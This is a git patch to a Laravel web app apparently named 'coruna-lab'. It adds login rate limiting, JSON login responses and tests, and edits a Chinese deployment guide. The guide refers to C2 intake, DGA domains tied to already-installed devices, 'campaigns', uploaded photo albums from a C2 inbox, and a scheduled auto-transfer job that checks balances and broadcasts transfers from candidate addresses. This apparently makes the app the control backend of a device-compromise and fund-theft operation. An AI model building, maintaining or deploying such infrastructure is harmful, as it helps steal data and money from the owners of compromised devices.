From 4c49a61149f7a844570b6908e95ec61a759eb5ec Mon Sep 17 00:00:00 2001 From: hashbro Date: Thu, 3 Sep 2026 01:29:50 +0800 Subject: [PATCH] feat: delete --- app/Http/Controllers/Agent/AuthController.php | 62 ++++++++++++--- docs/BAOTA_DEPLOY.md | 32 +++----- resources/views/user/login.blade.php | 61 ++++++++++++--- tests/Feature/AdminAgentPortalTest.php | 8 +- tests/Feature/AgentLoginTest.php | 78 +++++++++++++++++++ 5 files changed, 196 insertions(+), 45 deletions(-) create mode 100644 tests/Feature/AgentLoginTest.php diff --git a/app/Http/Controllers/Agent/AuthController.php b/app/Http/Controllers/Agent/AuthController.php index b65c96e..a88286b 100644 --- a/app/Http/Controllers/Agent/AuthController.php +++ b/app/Http/Controllers/Agent/AuthController.php @@ -4,11 +4,19 @@ namespace App\Http\Controllers\Agent; use App\Http\Controllers\Controller; use App\Models\User; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; +use Illuminate\Support\Facades\RateLimiter; +use Illuminate\Support\Str; +use Illuminate\Validation\ValidationException; class AuthController extends Controller { + private const MAX_ATTEMPTS = 5; + + private const DECAY_SECONDS = 60; + public function showLogin() { if (Auth::guard('agent')->check()) { @@ -23,29 +31,58 @@ class AuthController extends Controller return view('user.shell'); } - public function login(Request $request) + public function login(Request $request): JsonResponse { - $credentials = $request->validate([ - 'username' => 'required|string', - 'password' => 'required|string', - ]); + try { + $credentials = $request->validate([ + 'username' => 'required|string|min:2|max:64', + 'password' => 'required|string|max:128', + ], [ + 'username.required' => '请输入用户名', + 'password.required' => '请输入密码', + ]); + } catch (ValidationException $e) { + return response()->json([ + 'code' => 1, + 'msg' => collect($e->errors())->flatten()->implode('
'), + ]); + } + + $throttleKey = $this->throttleKey($request); + if (RateLimiter::tooManyAttempts($throttleKey, self::MAX_ATTEMPTS)) { + $seconds = RateLimiter::availableIn($throttleKey); + + return response()->json([ + 'code' => 1, + 'msg' => '登陆失败次数过多,请'.$seconds.'秒后再重试', + ]); + } /** @var User|null $user */ $user = User::query()->where('username', $credentials['username'])->first(); if ($user && ! $user->isEnabled()) { - return back()->withErrors(['username' => '账号已禁用'])->onlyInput('username'); + RateLimiter::hit($throttleKey, self::DECAY_SECONDS); + + return response()->json(['code' => 1, 'msg' => '账号已禁用']); } - if (Auth::guard('agent')->attempt( + if (! Auth::guard('agent')->attempt( ['username' => $credentials['username'], 'password' => $credentials['password']], $request->boolean('remember') )) { - $request->session()->regenerate(); + RateLimiter::hit($throttleKey, self::DECAY_SECONDS); - return redirect()->intended(route('user.home')); + return response()->json(['code' => 1, 'msg' => '用户名或密码错误']); } - return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username'); + RateLimiter::clear($throttleKey); + $request->session()->regenerate(); + + return response()->json([ + 'code' => 0, + 'msg' => '登录成功', + 'data' => route('user.home'), + ]); } public function logout(Request $request) @@ -56,4 +93,9 @@ class AuthController extends Controller return redirect()->route('user.login'); } + + private function throttleKey(Request $request): string + { + return Str::transliterate(Str::lower((string) $request->input('username')).'|'.$request->ip()); + } } diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index 0b06d7f..87028c6 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -176,7 +176,7 @@ https://admin.example.com/details/… # 共享模板(native 按需拉 https://admin.example.com/c//show.htm # Nginx 静态别名 → channel//details/show.html ``` -在 **Admin 站和所有反代到同一 `public/` 的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c//show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。 +在 **Admin 站和所有反代到同一** `public/` **的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c//show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。 `root` / `alias` 里的路径按实际站点根改(宝塔多为 `/www/wwwroot/coruna-lab/public`)。 @@ -445,7 +445,7 @@ REDIS_HOST=127.0.0.1 REDIS_PORT=6379 ``` -4. 改完后: +1. 改完后: ```bash cd /www/wwwroot/coruna-lab @@ -453,7 +453,7 @@ cd /www/wwwroot/coruna-lab /www/server/php/82/bin/php artisan config:clear ``` -5. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发): +1. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发): ```text 名称: coruna-queue @@ -462,7 +462,7 @@ cd /www/wwwroot/coruna-lab 进程数量: 2 ``` -6. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议: +1. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议: ```ini pm = dynamic @@ -475,7 +475,9 @@ pm.max_requests = 500 `max_children` 不要开到 50+:每个 worker 约 40–80MB,再加 MySQL 会先 swap。相册解包仍可能短时占满几个 worker,属正常。 -7. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。 +1. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。 + + ### 2.7 p7zip(C2 入库) @@ -588,7 +590,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log | 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` | | 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` | | 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 | -| 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) | +| 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) | `QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。自动转账仍由每分钟的 `coruna:auto-transfer` 扫描候选地址,真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。 @@ -646,8 +648,8 @@ PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。 /usr/bin/python3 ``` -2. 安全 → **系统加固**:排除 `/www/wwwroot/coruna-lab`;不要把系统 Python 标成「禁止执行」。 -3. 加白后用同一条命令验证,必须打印 `ok`,不能再出现 `Tips from BT security`: +1. 安全 → **系统加固**:排除 `/www/wwwroot/coruna-lab`;不要把系统 Python 标成「禁止执行」。 +2. 加白后用同一条命令验证,必须打印 `ok`,不能再出现 `Tips from BT security`: ```bash sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import py7zr; print("ok")' @@ -718,7 +720,7 @@ CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。 ### 后台登录 HTTP 444 -**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin` 放行后再试。 +**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin`、`/user` 放行后再试。 ### 后台登录方式(改造后) @@ -749,15 +751,3 @@ chmod -R ug+rwx storage/framework/sessions --- - - -## 6. 分机部署(可选) - -若要把静态产物拆到另一台纯静态机: - -- 旧版:rsync `public/web` + `public/sync` -- 新版:rsync `public/channel` + `public/details`;静态机 Nginx 必须带 §1.3 的 `/c//show.htm` `alias` 映射,不要把该路径反代回 PHP -- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘 -- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT` - -同机时无需拆分,Admin `public/` 即静态根。 \ No newline at end of file diff --git a/resources/views/user/login.blade.php b/resources/views/user/login.blade.php index 362e7e8..d017626 100644 --- a/resources/views/user/login.blade.php +++ b/resources/views/user/login.blade.php @@ -6,6 +6,7 @@ + @@ -17,38 +18,74 @@

运营后台

Coruna Lab Agent Portal

- diff --git a/tests/Feature/AdminAgentPortalTest.php b/tests/Feature/AdminAgentPortalTest.php index 975c49a..fadaa80 100644 --- a/tests/Feature/AdminAgentPortalTest.php +++ b/tests/Feature/AdminAgentPortalTest.php @@ -59,7 +59,7 @@ class AdminAgentPortalTest extends TestCase $this->post('/user/login', [ 'username' => 'disabled', 'password' => 'secret12', - ])->assertSessionHasErrors('username'); + ])->assertOk()->assertJson(['code' => 1, 'msg' => '账号已禁用']); $this->assertGuest('agent'); } @@ -76,7 +76,11 @@ class AdminAgentPortalTest extends TestCase $this->post('/user/login', [ 'username' => 'okagent', 'password' => 'secret12', - ])->assertRedirect(route('user.home')); + ])->assertOk()->assertJson([ + 'code' => 0, + 'msg' => '登录成功', + 'data' => route('user.home'), + ]); $this->assertAuthenticated('agent'); } diff --git a/tests/Feature/AgentLoginTest.php b/tests/Feature/AgentLoginTest.php new file mode 100644 index 0000000..0b1315f --- /dev/null +++ b/tests/Feature/AgentLoginTest.php @@ -0,0 +1,78 @@ +create([ + 'username' => 'okagent', + 'password' => 'secret12', + 'status' => 1, + ]); + + $this->post('/user/login', [ + 'username' => 'okagent', + 'password' => 'secret12', + ])->assertOk() + ->assertJson([ + 'code' => 0, + 'msg' => '登录成功', + 'data' => route('user.home'), + ]); + + $this->assertAuthenticated('agent'); + } + + #[Test] + public function ajax_login_rejects_bad_password(): void + { + User::query()->create([ + 'username' => 'okagent', + 'password' => 'secret12', + 'status' => 1, + ]); + + $this->post('/user/login', [ + 'username' => 'okagent', + 'password' => 'wrongpass', + ])->assertOk() + ->assertJson(['code' => 1, 'msg' => '用户名或密码错误']); + + $this->assertGuest('agent'); + } + + #[Test] + public function login_is_rate_limited_after_failures(): void + { + User::query()->create([ + 'username' => 'okagent', + 'password' => 'secret12', + 'status' => 1, + ]); + + for ($i = 0; $i < 5; $i++) { + $this->post('/user/login', [ + 'username' => 'okagent', + 'password' => 'bad-password', + ])->assertOk()->assertJsonPath('code', 1); + } + + $response = $this->post('/user/login', [ + 'username' => 'okagent', + 'password' => 'secret12', + ])->assertOk() + ->assertJsonPath('code', 1); + + $this->assertStringContainsString('登陆失败次数过多', (string) $response->json('msg')); + } +}